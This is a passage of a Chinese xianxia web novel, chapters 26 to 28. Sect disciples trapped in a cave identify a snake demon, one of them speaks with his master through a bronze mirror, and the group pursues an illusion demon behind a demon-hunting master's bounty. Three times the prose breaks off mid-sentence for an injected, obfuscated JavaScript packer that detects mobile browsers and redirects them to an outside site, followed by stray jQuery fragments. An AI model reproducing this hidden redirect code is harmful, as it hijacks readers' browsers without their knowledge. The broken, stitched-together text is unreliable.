望尘回过神后立马挪开视线,不自然道:“哦,好。”
楼珩和云逍、云晟早就自觉地挪到了洞穴口,他们蹲在一旁默默看热闹,云逍不知何时掏出一把瓜子,他悠哉地嗑起了瓜子,笑道:“你们觉得桑师妹是喜欢望尘师兄还是柳师兄?”
喜欢望尘师兄还是喜欢柳师兄?
楼珩盯着望尘通红的耳根看了好一会儿,后知后觉道:“原来望尘师兄喜欢阿宁?”
云逍嘴角的笑容瞬间凝滞,他不可置信道:“你不会现在才看出来吧?”
“我看望尘师兄的伤口是一点都不疼了。”云晟拿着刚摘来的野果在衣裳上擦了几下,狠狠地啃了一口,不忿道:“望尘师兄的眼神温柔得都能掐出水了,他那点小心思也就桑宁那个傻丫头看不出来了。”
他顿了顿,继续说道:“哦,还有楼珩这个傻子。”
“你说谁是傻子呢?”楼珩直接上手拧住云晟的耳朵,他眯了眯眼,语气平静道:“云晟,你是不是觉得我不敢把你推到河沟里,你还想再呛一次水?”
云晟故作镇定地清了清嗓子,“那只是跟你开个玩笑,堂堂司渊仙尊座下弟子不会这么小气吧。”
看着他们斗嘴的样子,云逍顺手拿起地上的竹筒喝了几口水,慢悠悠道:“我只是觉得咱们都被困在这儿了,你们还能笑得出来,这心态真是令人羡慕。”
云晟好不容易才压制住楼珩,他原本想再踹某人一脚,但想到现下的处境,他可没心情跟楼珩这小屁孩计较,一本正经道:“说正经事,咱们被困的地方很是阴冷偏僻,普通的林子应当困不住我们,这地方倒像是那妖的生长之地,所以才能有如此强大的妖气。”
“我好像知道这是什么妖了。”一道声音从洞穴深处幽幽传出。
原本要去洞穴深处水潭旁洗手的桑宁突然踩到了一个软绵绵的东西,她定睛一看地上那张早已褪色的皮,这花纹和颜色让她瞬间猜到了这妖的来历。
听到动静的云晟好奇地跑过去,“阿宁你发现了什么?”
“没什么。”桑宁若无其事地走上前,她见云晟一副好奇的神情就将藏在身后的灰青色蛇皮拎到云晟面前,轻笑道:“就是捡了张蛇皮,师兄,你要看吗?”
“!!”云晟被突然出现的蛇皮吓得一声尖叫,“这什么鬼啊?!”
桑宁一脸无辜地把蛇皮拎远些,明知故问道:“师兄你害怕吗?”
“桑小宁!你怎么随便拿这些脏东西,不怕有毒吗?”
云晟气得牙痒痒,要不是他一个不跟女子动手,他早就冲上去……冲上去挠桑宁的痒痒。
这蛇皮的颜色有点眼熟啊……
望尘的法器像是感应到了什么,‘碧海潮生琴’一侧镶嵌的灵石闪了又闪,‘碧海潮生琴’能记载所遇到的妖族气息,灵石的反应意味着这蛇妖也许曾去过蓬莱,如果真的是去过蓬莱的蛇妖,那就只有那位了。
望尘清了清嗓子,正色道:“你们别闹了,我好像知道这蛇妖的来历。”
26. 第二十六章
“你的意思是这妖很有可能是曾在寺庙受过佛光,这怎么可能?无极真人绝不会允许这等控制凡人的恶妖进入我蓬莱圣地!”
云逍压根不信望尘的话,他虽然没见过望尘口中的蛇妖,但他知道这个村子的村民定是被妖物所控,如果真是此妖所为,那便配不上在寺庙受过的佛光,此妖不除,有失仙家脸面!
可惜没人在意云逍的质问,桑宁仔细地打量着手中的蛇皮,问道:“所以她就是百年前在蓬莱做客的蛇妖?我听师姐提到过曾有一蛇妖入蓬莱境地却不受结界限制,而且能在仙家圣地来去自如。”
经过桑宁这么一说,楼珩约莫想起了师尊曾提到过这妖的名号,坦诚道:“这蛇妖的名头我也听说过,好像常年居住在昆仑山,舜之帝君跟她交情匪浅。”
“舜之帝君?他居然会跟一个妖关系匪浅……这怎么可能?!”云逍的表情仿佛是听到了什么惊骇世俗的消息,他心目中的舜之帝君是天下第一潇洒,他怎么可能跟一只妖扯上关系,这简直是荒谬至极。
楼珩知道云逍对舜之帝君的崇拜不是一两日了,他上前拍了拍云逍的肩,道:“云逍,虽然都说人妖殊途、仙妖殊途,但每个人并不能决定父母和身份,我相信妖族并非都是嗜杀之辈,而且舜之帝君是个豁达的神仙,你也不用一副快要哭出来的样子吧。”
云逍抬手揉了揉发酸的眼眶,哑声道:“放屁,这绝对是谣传,我才不信舜之帝君会跟一只妖有往来。”
楼珩见状也不跟他争辩,而是岔开了话题,认真道:“你们不饿吗?咱们要不要去林子里抓点野兔什么的。”
“我早就饿了,包袱里的馕饼都啃了四个。”云晟从包袱里翻出干粮。他把手里的饼掰下一块大的递给楼珩,又掰了一块递给云逍,最后一个馕饼则是递给了望尘。
云晟看着望尘把饼掰了一半给桑宁,不由得感慨世事无常,昨日他们还在客栈吃肉喝青梅酒,今天就在这破山洞里啃饼。
他叹了口气,道:“早知道咱们会被困在这种鬼地方,我就多买点馕饼了。”
云逍倒不觉得寒酸,他掰了一块饼塞到嘴里,含糊不清道:“多亏了阿晟出发前买了这些饼,不然我们就要挨饿了。”
桑宁将盛了清水的竹筒递给望尘,她也不觉得这饼难吃,但是山药一向只吃肉,它肯定是不吃馕饼,便随口道:“咱们能吃这饼,但是山药肯定不吃……哎,山药呢?!”
楼珩这才反应过来,对啊,山药呢?!方才他们跟山猫打架就没看见这臭虎,要不是桑宁提醒他都要忘了这臭虎的存在了,他连忙起身走向洞外喊了几声山药,可林子里一片漆黑,静得让人觉得后背发凉。
望尘由衷觉得像山药这种级别的灵兽实力都很强,再加上山药前些时日一直在昆仑山圣地休养,所以没必要担心山药的安危,只是这白额虎很少离开蓬莱,所以它会不会是迷路了?
“它会不会在林子里迷路了。”望尘的话引得众人哄笑,难不成这虎跟师尊一样是个路痴?
云逍见楼珩拿起长剑就要往林子里冲,他一把拽住楼珩的胳膊,无语道:“你这呆瓜不是怕黑,现在冲出去万一又遇见凶兽定会受伤,望尘师兄已经负伤,现下我们最好不要轻举妄动。”
楼珩刚想说什么却被一声虎啸打断,他们循声望去只见北边茂密的林子中发出窸窸窣窣的声音,紧接着一头身长七尺的白虎窜出来,等白虎走进洞穴他们才看到山药嘴里还叼着两只野鸡。
楼珩随手将长剑丢到一旁,他将变小的白虎拎起来,冷脸训斥道:“山药,你跑哪儿去了,知不知道这地方很危险。”
山药讨好似的舔了舔楼珩的手心,“嗷呜——”我这么大一只虎能有什么危险?你还是操心操心自己吧,小屁孩。
“阿珩,山药是出去给我们捕猎了,你就别凶它了。”桑宁把山药从楼珩手里抢过来,她一向喜欢圆毛,只可惜掌门不喜这些闹腾的小玩意,所以她经常去镜花台‘撸猫’,山药自然跟桑宁更亲切。
云逍则是捡起地上的野鸡,他上下打量这野鸡,认真道:“山药它居然给我们抓回来了野鸡,这鸡很是肥美,我们可以把它给烤了。”
云晟眼前一亮:“烤鸡?”
洞穴里的火烧得很旺,架在火上的野鸡滋滋冒油,云晟坐在火堆旁眼巴巴地看着冒着热气的烤鸡,云晟这幅样子落在云逍眼里就两个字——‘馋猫’,他无奈地叹了口气,这家伙真是饿死鬼托生的。
“山药还挺厉害的,这么肥美的野鸡倒是少见。”云逍拿着小瓷瓶均匀地撒在野鸡上,他的厨艺很好,做的菜比膳堂做的好吃一百倍,不过也多亏了云晟包袱里装着简单的几味调料,不然这烤鸡就没味道了。
约莫过了两炷香,云逍将其中一只烤得外皮很焦的野鸡递给云晟,道:“你们先吃吧,这鸡凉了可就不好吃了。”
这外焦里嫩的烤鸡香得云晟直流口水,他撕下一只鸡腿递给坐在身侧的楼珩,楼珩却没有接过鸡腿,云晟奇怪道:“怎么不吃?”
“我不喜欢吃鸡腿。”楼珩侧首避开了云晟询问的眼神,他伸手撕了一块鸡肉放进嘴里,道:“给阿宁吃吧,她方才替师兄疗伤耗费不少心神。”
桑宁美滋滋地接过鸡腿,她摸着山药毛茸茸的脑袋,咬了一口鸡腿含糊不清道:“阿珩从来不吃鸡腿,云晟你竟然不知道,真蠢。”
云晟把手里的半只烤鸡随手塞给云逍,他挽起袖子就要去逮桑宁,他怒极反笑:“哎?桑小宁你说谁呢?我可是你师兄,你别跑,我今天非要收拾你。”
桑宁连忙躲到望尘身后,她紧紧拽住望尘的衣角,嚷嚷道:“师兄救我,你看云晟他又欺负人!”
云晟气得头皮一跳,他恨不得把这死丫头狠狠打一顿,吼道:“你有本事别躲在师兄身后,你出来,来来来,你说谁是蠢货?!”
“你是蠢货!”躲在望尘身后的桑宁只露出一双清澈的杏眼,她知道云晟不敢在望尘面前造次,便狡黠一笑,“你要是欺负我,我就跟师叔告状!”
就知道拿师父压人一头,难怪柳成荫不愿意带上这臭丫头,这张伶牙俐齿的嘴真是让人又爱又恨。
云晟一掀衣摆坐在干草堆上,他狠狠地咬了一口鸡腿,道:“幼稚!小爷我不跟你闹了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799328|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这烤鸡凉了就不好吃了。”
“你们还是省省力气,明日还要想法子离开这鬼地方。”
云逍将烤好的另一只鸡递给望尘,他们都被困在这破地方了,这俩祖宗还有心情打闹,真不知道该夸他俩乐观还是骂他俩无知。
“对了,阿宁,你刚才说洞穴深处有一水潭?”云逍俯身拍了拍染上烟尘的衣摆,他这人有一个毛病就是有点洁癖,他实在是忍不了自己身上沾上烤鸡味,便打算先去水潭冲个凉再睡。
“师兄你要小心点,那水潭挺深的。”桑宁正在用沾了水的锦帕擦脸,她突然觉得发愤图强修仙还是有好处的。
比如修得内丹就能使最简单的术法,像什么清洁术、瞬移术都是很实用的术法,可惜他们一行人只有大师姐、叶师兄和花朝师姐修得仙身,望尘师兄虽有内丹但修为尚浅,再加上他现下有伤在身,这鬼地方更是使不出半点灵力。
桑宁越想越头疼,难不成他们要被困在这儿等大师姐他们来救?这也太拖后腿了,她不免感叹道:“哎,我突然觉得师尊说的话还挺有道理,他总说蓬莱弟子不必样样争第一,但术法定要精益求精,要是我们术法高强就不会被困在此处了。”
云晟若有所思的点点头,但他并不觉得这话全都是对的,便反驳道:“可是我师父说修仙之事不要像师尊跟掌门那么拼,而且你都不知道师尊修仙时有多变态。”
“有多变态?”楼珩挑眉看向一本正经的云晟,他怎么没看出来师尊是个‘变态’,肯定是云晟这小子胡诌的。
云晟刚想把师尊和掌门的漫漫修仙路讲出来,只听见洞穴深处传来一声惊呼,“我找到这阵眼所在了!”
江花朝他们三人走出浓雾后在北面的山脚处发现了一处破残的院子,院外种满了桃树,院内的牌匾早已掉色,但依稀能看出‘济世为民’四个字,屋内还有不少药材和熬药所用的瓷罐,此处应是给百姓治病的地方,只是现下屋内陈设都覆上一层灰尘,就连院子里的花草都枯死了大半。
江花朝蹲下仔细检查了院内尚未枯竭的水井,若有所思道:“这地方距离附近几个村子不远,按理说不应该荒废至此,这倒是不寻常。”
阿徵觉得这地方不像是人住的,但他用破隐术也无法看透此处是何妖物的住处,他抬眸看向身侧的叶禹,道:“师兄,这地方要么不是妖的住处,要么就是这妖的伪装术太强……我看不破。”
叶禹沉默片刻,这世上竟有破隐术也无法看透的妖?这怎么可能?他立马否定了这个答案,认真道:“阿徵,你的破隐术在整个仙门数一数二,也许这地方并非是妖的藏身之地,毕竟我可没见过与世隔绝的妖。”
“虽然我们奉师命下山捉妖,但我们不能滥杀无辜。”
江花朝却不认同叶禹的观点,她知道妖族分阶级和出身,比如花妖、树妖这种妖力低微的妖一般都不会随便踏入人间为祸一方,虽然这种与世隔绝的妖确实少见,在仙门口口相传中妖族跟魔族一样嗜杀残暴,但这不代表不会有喜欢种花养草与世隔绝的妖。
究竟是何方妖孽在此事背后作祟,真相到底是什么?
27. 第二十七章
“滥杀无辜?江师姐的意思是妖也分善恶?这太荒谬了。”
叶禹并不认同江花朝的话,他自幼就听师父再三教诲,妖族只有恶与更恶,并没有真正无辜单纯的妖,生而为妖就该死!
“师姐这话有失偏颇,古书有言妖族貌美者善蛊惑人心,相貌丑陋者更是手段残忍,有些妖对凡人掏心挖肺以提升修为,有些妖残暴成性,将杀人当做一场游戏,世间恶妖横行,我等身为蓬莱弟子自当除妖斩魔,为天下苍生劈出一条生路!”
叶禹的话太过偏激,还没等江花朝反应,他就挥袖将伏魔塔召唤出来,漂浮在半空的伏魔塔笼罩了整座山头,伏魔塔顶端的灵石闪了几下,一道金光从塔中所照的方向是西边,这就意味着西边有妖。
阿徵见气氛有些不对,便率先开口,“既然有了此妖的踪迹,咱们已经耽搁了不少时间,现下还是要做个决断,到底先去找云晟他们还是先去捉妖?”
“自然是先捉妖!”
“先把阿宁他们救出来!”
江花朝和叶禹几乎是异口同声,只是这答案却截然不同,一个是一门心思都在捉妖上,一个是惦记同门手足。
这下轮到阿徵为难了,他由衷觉得捉妖固然重要,但同门师兄弟更重要,可叶师兄是个一根筋的,到底怎么才能说服叶师兄先去救人?
正当阿徵纠结得不知如何选择的时候,他听见了一道熟悉的声音,“你们啊,来得早不如来得巧,那妖我们已经解决了!”
走在最前面的云晟清了清嗓子,“话说你们的速度也太慢了,我们都把村子里被困的村民给放出来了。”
看见大家都安然无恙,江花朝才放下心来,只用短短两日就解决了村子里的事,倒是没给蓬莱丢脸,这几个臭小子平日看着吊儿郎当,关键时刻却很靠得住。
阿徵眼前一亮,跑过去一把抱住燕昀,喜笑颜开道:“师兄!你们怎么找到此处了?!”
“阿徵,有没有受伤?”燕昀稳稳接住扑过来的阿徵,这小子近日个头窜得很快,方才阿徵扑这一下把燕昀撞得连连后退,他仔细检查后确认阿徵没有受伤才松了口气,“都多大的人了还不稳重?”
只关心是何方妖邪作祟的叶禹打断了这几人的嘘寒问暖,直截了当道:“所以究竟是什么妖在背后捣鬼?”
然而并没有人搭理叶禹,云晚苓将此事原委写在纸上折成纸鹤用仙术送回蓬莱,临行前师尊再三叮嘱捉妖详细经过都要通传回去,掌事阁会详细记载这些妖的罪行,以便三十六重天判定如何处罚获罪的妖族。
云晚苓跟江花朝一致认为望尘伤势不轻,现下暑气正热伤口容易溃烂感染,所以就让楼珩他们带着望尘在附近客栈修养几日,云晚苓带领其余四人前往附近镇子查探幻妖的踪迹。
“所以这究竟是怎么回事?”御剑而行的叶禹百思不得其解,按理说能隐匿妖息的妖世间罕有,除了妖族那几位妖君和国师,其他妖族都无法做到隐藏妖息,这实在是蹊跷,莫非这次遇到的是妖力极高的那几位妖君?
燕昀清了清嗓子,正色道:“此事说来话长,我就长话短说,寺庙里的妖不是恶妖,她名唤将离,曾在三十六重天的天庙受过佛光,她原本在此地给村民诊病,却在最虚弱的蜕皮期遭人暗算,她的妖丹被强行剥离又失了心智才会将村民困在寺庙的画像中,不过她并没有伤人,但没了妖丹身体十分虚弱,所以舜之帝君将她带回昆仑医治,我们现在要去找将离前辈的妖丹。”
云晚苓俯视脚下的群山,她虽然对妖族没什么好印象,但将离前辈对蓬莱有恩,她必须将此事办妥,道:“将离前辈曾对蓬莱有恩,所以这件事我们务必要办到,根据寺庙留下的线索来看应该是擅长幻术的妖,我们先一路朝东再做其他打算。”
“既然对咱们蓬莱山有恩,那自然是要偿还恩情,但为什么是去东边?”叶禹表示欠下的人情必须要还,只是为何要往东走?
云晚苓认真道:“东边的妖气很浓,此行恐怕诸多危险,我跟云晟的法器可以千里通讯,若遇危险便可让他向师父求援。”
“这幻妖当真如此可怕吗?”
阿徵不可思议地看向神色凝重的云晚苓,要知道云晚苓的修为极高,怎么可能打不过一只妖,他诧异道:“师姐身为蓬莱第一首徒,整个仙门弟子无人能敌师姐的玉烛烬,就连三十六重天的帝君也夸师姐青出于蓝胜于蓝,就连师姐都打不过幻妖吗?”
站在阿徵身后的燕昀伸手捂住了他的嘴,严肃道:“阿徵,不许胡说,幻妖修为并不算高,但极擅蛊惑人心,而且此妖千年才诞生一只,无父无母由执念幻化而成,此妖是善是恶全在其主的心性如何。”
江花朝喃喃道:“如果真是千年才幻化出一只的幻妖,那恐怕就要有大麻烦了。”
而另一边云晟他们也没闲着,云逍听说隔壁村有疫病就跟桑宁去隔壁村给村民诊病,云晟则是负责监督望尘好好养伤,楼珩原本坐在二楼窗框上发呆,他突然听见耳边传来一道熟悉的声音。
“阿珩,找一面铜镜,为师有事要跟你说。”
这慵懒又温润的声音除了司青衔还能是谁?
楼珩一跃而下跑到屋内屏风后把那面铜镜搬到软榻前,幸好临行前师尊教了他通过铜镜千里传相的术法,他用左手比划着结印手势,嘴里默念了两遍口诀。
一道白光从铜镜中一闪而过,这术法应是成了。
楼珩有些紧张地理了理衣襟,看向映出模糊人影的镜子,轻声道:“师尊,能看得到我吗?”
铜镜中的人影越来越清晰,勾勒出司青衔轮廓分明的面容,他此刻正在书房研墨,忽然想起云晚苓的信中提及望尘负伤,便问道:“阿珩,望尘的伤好些了吗?”
“师兄的伤好多了,我们再歇两日就去跟大师姐会合……”楼珩看着师尊研墨的手看得出了神,他一直觉得师尊的手很好看,简直就是诗文中所写的“白玉无瑕”,如果他的手能有几分像师尊就好了。
“那你呢,可有受伤?”司青衔研墨的手一顿,掀起眼帘看到镜中发呆的少年,勾了勾唇角,道:“阿珩在看什么?”
回过神的楼珩连忙挪开视线,清了清嗓子,立马岔开话题掩饰自己的小心思,道:“没有受伤,师尊近日都在做什么?”
“画了几张山川花草,空闲时看了两本新出的话本。”
司青衔拿起紫毫笔蘸了墨在宣纸上拖出粗壮的树干,慢悠悠道:“你不在镜花台确实太清净了些,为师还有点不习惯,所以近日舜之一直赖在镜花台不肯走,要不是将离娘子出了事,他恐怕要再住上十天半个月。”
云晟一听见司青衔的声音立马冲过来,嚷嚷道:“楼珩!你居然在跟师尊偷偷摸摸联系,你这也太不仗义了!我说刚才喊你去花廊你怎么不去……”
“云晟你胡说什么!”
楼珩恨不得立马去捂云晟的嘴,真是哪壶不开提哪壶,他抬眸刚好撞上司青衔意味深长的眼神,便心虚地移开视线,慌不择言道:“师尊你别听云晟胡说八道,我们压根没去花廊……”
云晟丝毫没听出楼珩的话里有话,他拿起桌上的果子啃了一口,含糊不清道:“楼珩你别不敢承认,花廊的阿渝姑娘可是对你青睐有加,师尊你都不知道这小子英雄救美,降服了受惊的马,还顺便收获了阿渝姑娘的芳心。”
“哦?是吗?”司青衔皮笑肉不笑道:“看来阿珩在外不仅能保护好自己还能救人,旁的倒也罢了,记得为师在临行前跟你说过的话,不然就没有下一次了。”
楼珩瞬间像是一只被踩了尾巴的小狗,干巴巴道:“弟子谨记师尊的话,绝对不会节外生枝,我们后日就启程去跟大师姐会合。”
在司青衔看来楼珩就是故意装出这副可怜模样,每次阿珩只要用那双明亮的桃花眼盯着自己,他就会忍不住心软。
司青衔道:“罢了,百姓遇难理应出手相救,只是下一次不要以真面目示人,凡胎肉眼看不出伪装术,你们第一次下山游历凡事都要慎重行事。”
“师尊放心,我肯定看好楼珩,阿渝姑娘生得那么好看,怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799329|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么能让这臭小子占了便宜。”
云晟立马揽住楼珩的脖子,咧嘴一笑,“有我在,这臭小子别想招惹人家姑娘。”
楼珩一脸嫌弃地推开云晟,笑眯眯道:“我何时招惹了别家姑娘?你倒是说清楚,嗯?”
还没等云晟开口,楼珩就直接将人推出厢房,骂道:“哪儿凉快哪儿呆着去!”
“哎!你这家伙忘恩负义啊!”云晟气呼呼地踹了一脚紧闭的房门,然后鬼哭狼嚎着奔向望尘的厢房,“师兄!楼珩他又仗势欺人!”
楼珩略显尴尬地摸了摸鼻子,掀起眼帘看向镜中的司青衔,完了完了,师尊脸色这么难看定是生气了。
他语无伦次地解释道:“师尊,你别听云晟胡诌,那姑娘比我大了三四岁,我肯定不会喜欢她,我不喜欢比自己年纪大的姑娘,哪怕大一岁也不行,师尊不必担心。”
年纪大了三四岁……
一定不会喜欢年龄大的……
哪怕大一岁也不行……
司青衔手中的紫毫笔硬生生在宣纸上拖出一道浓墨,他垂下眼帘看着格外突兀的浓墨,轻叹一声,随手将桌上的宣纸揉成一团扔到一旁。
“你知道分寸就好,等幻妖一事解决了就尽早回蓬莱,昨日师兄与我商定这一届弟子仙根需早日查验,你身体底子差,等回来了接着喝补汤。”
司青衔轻描淡写的一句话让楼珩险些一口气没喘上来,他直勾勾盯着司青衔,哀求道:“师尊,这汤就不能不喝吗?我真的要变成芦鸭了。”
“楼珩。”司青衔极轻的两个字像是石头一样压在楼珩心上,他清楚师尊的脾气,再说下去就要惹怒师尊了,他深深叹了口气,不情不愿道:“是,弟子谨遵师命,等回到镜花台天天喝汤。”
司青衔见自家小徒弟这副不情不愿的神情,心想自己的厨艺有这么差吗?“至于吗?你师叔之前总是夸为师的厨艺好,怎么到了你这儿就难以下咽了?”
楼珩不自然地清了清嗓子,厨艺再好也抵不住整日吃啊!“师尊,关于幻妖,你知道多少?我听望尘师兄说此妖无父无母,乃是由执念幻化而成。”
“不错,幻妖的诞生并非天定,而是机缘巧合才会诞生于世,她会视执念者为主,任其驱使,若执念者向善,幻妖便不会害人。”
司青衔将史册所记载幻妖的由来全盘托出,他不是不担心楼珩的安危,只是下山历练乃是仙家各门派的旧例,他作为蓬莱山的玉阙真人不该也不能插手弟子历练一事,毕竟他们日后遇到的危险和困难都不会少,身为师长理应对弟子悉心教诲,但更要让弟子经历困境,如此才能磨炼一个人的心性。
司青衔总觉得楼珩还小,所以不愿让他下山历练,但他现在发现自己错了,楼珩从小就经历了许多苦难,以前的楼珩满腔仇恨,整日修习剑术也是为了报仇,近几年阿珩见过太多生离死别,他渐渐放下了心中执念。
“师尊?”楼珩见司青衔出了神,忍不住唤了他一声。
司青衔忽然想到幻妖最擅长蛊惑人心,此行定然会被幻妖迷惑,便问道:“阿珩,幻妖能够吸食其他妖族的妖力,如果你们遇到的幻妖十分强大,你可知应该如何应对?”
楼珩思索了片刻,认真道:“方才师尊说幻妖只认其主,如果我们能先拿下她的主人……”
“不可如此。”司青衔驳回了楼珩的法子,解释道:“幻妖极其护主,你们不可激怒了她,如果有半分差池定会遭幻妖反击,但你们可以利用幻妖护主这一特点,至于如何应对还要随机应变。”
楼珩若有所思的点点头,道:“师尊,我明白了,我们一定会小心行事,师尊还有别的事要交代吗?”
“等一下。”
司青衔放下紫毫笔,他看着嘴角噙着笑容的楼珩,忍不住伸手碰了下冰凉的铜镜,回过神后才发觉自己做了什么蠢事,随即掩唇道:“其他的事等你回镜花台再细说,切记行事不可鲁莽。”
直到铜镜里的画面消失,楼珩才忍不住嘀咕了一句,“我何时行事鲁莽了?”
28. 第二十八章
云晚苓一行人随着那股妖气一路追至名为‘余都’的临水而建的城,他们在城外仔细观察了进城的百姓,大多数人手里攥着一根铁链,铁链另一头拴着不同的妖,大部分都是小狗妖、小猫妖、兔妖这些低阶妖。
江花朝察觉出城内被妖气笼罩,也许城内的百姓还没有妖多,她皱眉道:“城内怎么会有这么多刚炼出妖丹的小妖,这种小妖压根没有伤人的能力,城内聚集这么多妖族到底要干什么?”
云晚苓也觉得这城古怪得很,妖族不可能主动聚集在此,妖族虽然向来没什么规矩,但他们也不敢擅自聚集在凡人居住的地方,道:“恐怕城内不是有高阶妖族,就是……”
“管他有什么,咱们一问不就知道了?”叶禹直接走向排队入城的百姓,站在一位牵着小狗妖的老者身侧拱了拱手,道:“老人家,你是在这儿住的吗?”
这位老者皮肤黝黑,见有人询问便呵呵一笑,解释道:“俺们是北边村儿里的猎户,听说城里的捉妖天师重金要我们附近几个村的猎户捕妖,不论是何妖都能领取赏银。”
叶禹听到此处便觉得奇怪,普通人如何能捉到妖?“那你们是怎么抓到妖的?”
老者从肩上的粗布包袱里掏出几张符纸,他递给叶禹一张符纸,笑呵呵道:“找个铁笼子,把这个贴在笼子上,就能抓住妖,不过现在附近没什么妖了,天师三个月前就重金悬赏捉妖,现下我们村附近的深山一只妖都没了,你们来得太晚了,不然也能赚一笔不是?”
听完叶禹讲完此事的来龙去脉,江花朝立马反应过来此事的不寻常之处,她掰着指头算了算时间,惊呼道:“三个月前?!这也太巧合了,将离前辈被夺妖丹也是在三个月前。”
“看来百姓口中的捉妖天师恐怕就是幕后之人。”
云晚苓也听出来这桩事的蹊跷之处,可是幻妖身为妖族为数不多吸取天地灵气幻化而成的妖,怎么可能会听令于一个捉妖师?
“此事最蹊跷的地方就是这位百姓口中的捉妖天师,我见过的捉妖师大多都是凡人之躯,他们精通符咒之道,以各种符咒结出结界或是设下阵法,更有甚者能窥探天机,借助运势得道成仙,但我从未听过捉妖师吸取妖族内丹,这绝非修仙的正道。”
阿徵听不懂他们的话,只好跟在这几人身后,入城队伍最后有个小女孩抱着一只兔妖,阿徵瞥见小女孩怀里那只兔子,眼前一亮,他还从来没见过黑耳朵黑鼻子的小白兔。
“哎,你这兔子长得这么好看,也要送进城换赏金吗?”阿徵蹲在小女孩身旁,忍不住伸手摸了摸兔子毛茸茸的耳朵。
小女孩吸了吸鼻子,泪眼汪汪地看向阿徵,“我不想把它交到天师手里,它只是只普通的小兔子,我爹想用它换下半年家里的粮食钱。”
阿徵思索片刻从袖兜里掏出荷包,试图诓骗小孩,诱哄道:“既然你不想让它死,要不把它卖给我?”
小女孩愣了一下,“大哥哥,那你不能把它炖了,要好好照顾它。”
“我保证!”
入城的队伍排得很长,云晚苓他们几个人讨论得热火朝天,直到进了客栈才发现阿徵怀里多了只兔子,阿徵正拿着刚从路边小贩处买的胡萝卜喂兔子。
燕昀:“??”我就一眼没看见,这孩子从哪儿掏的兔子?
“这种还没炼出妖丹的小兔妖还有机会培养成灵兽,既然阿徵喜欢就带回去吧。”
云晚苓觉得这小兔子长得挺可爱,尤其是左眼下的一小块黑色像极了燕昀的泪痣,这小兔子一副人畜无害的样子倒是跟阿徵很像。
江花朝一听见灵兽就想起自己那只正处于叛逆期的毕方鸟,她实在是不想提那只臭鸟,不过方才她想出一个极好的法子,“咱们既然要混进天师所居的‘除妖宫’,不如我们其中一个人伪装成高阶大妖,借机进入除妖宫后再寻找幻妖的踪迹,只是现下还有一桩要紧事。”
“你想说除妖宫里被捉的那些妖该如何处置?”云晚苓很了解江花朝,江花朝的顾虑不是没有缘由,如果妖族得知这么多小妖被杀,妖君定会被惹怒。
更何况师尊早就说过,若是妖族并无作恶,不得擅自伤其性命,一旦惹怒妖君,妖族便会对仙族和人族群起而攻之,虽然妖族修为高深者不多,但妖族繁衍速度极快,所以这么多年仙妖两族是井水不犯河水。
“那让谁来伪装这个大妖呢?”阿徵看了一圈这几位师兄师姐,他觉得谁扮演妖族都会露馅,除了……
燕昀后知后觉发现事情发展不太对劲,他瞥见阿徵不怀好意的笑容,眼皮一跳,“什么意思?”
“师兄肯定能扮演好一只大妖!”阿徵信誓旦旦道。
江花朝一脸不解,她伸手戳了下小兔子的头,轻声问道:“为何你师兄能扮好大妖?”
阿徵一本正经道:“上次出任务,师兄就扮成花魁接近恶徒,师兄的伪装术非常成功,你们都不知道他一颦一笑都很……”
燕昀立马伸手捂住了阿徵的嘴,讪讪一笑,“小孩子胡说八道,师姐就当是个笑话。”
不管是不是玩笑话,最后燕昀还是穿上了粉绿相间的云锦裙,肩上的披帛是泛着金光的薄纱,就连脚上的鞋都是莲花的花样,每走一步脚下生莲,宛如莲花修炼成精一样楚楚动人。
云晚苓看见男扮女装的燕昀时愣了一瞬,能将粉绿这种艳俗的颜色穿出如此效果,虽然容貌被面纱遮住,但隐隐约约能看出是个美人坯子。
“没想到燕师弟略施粉黛竟如此惊艳,真是美得难辨真假。”
江花朝啧啧叹道:“这身段,这样貌,我要是那捉妖天师我就舍不得取妖丹了。”
“………”叶禹则是一脸无语,他压根不知道这几人脑子里装的都是什么,这叫什么?这叫色诱吗?
商定好明日如何行事,江花朝就带着他们去了一家有很多人的酒楼,云晚苓让店小二上了一桌子好菜,他们坐在二楼看台,听着下面的说书先生在讲捉妖天师的传奇故事。
上到捉妖天师只身在虎狼窝里救出一个孩子,并带在身边抚养长大,下到捉妖天师曾抓获多少吃人害人的妖,在说书先生口中这位捉妖天师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799330|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
简直是无所不能的神人。
阿徵拿着鸭腿的手一顿,嗤笑道:“这真是奇了,就连掌门都做不到降服全部妖族,那人好大的口气!”
“今日我们先修整一晚,明日便去会会那位捉妖天师,看他到底是何方神圣。”
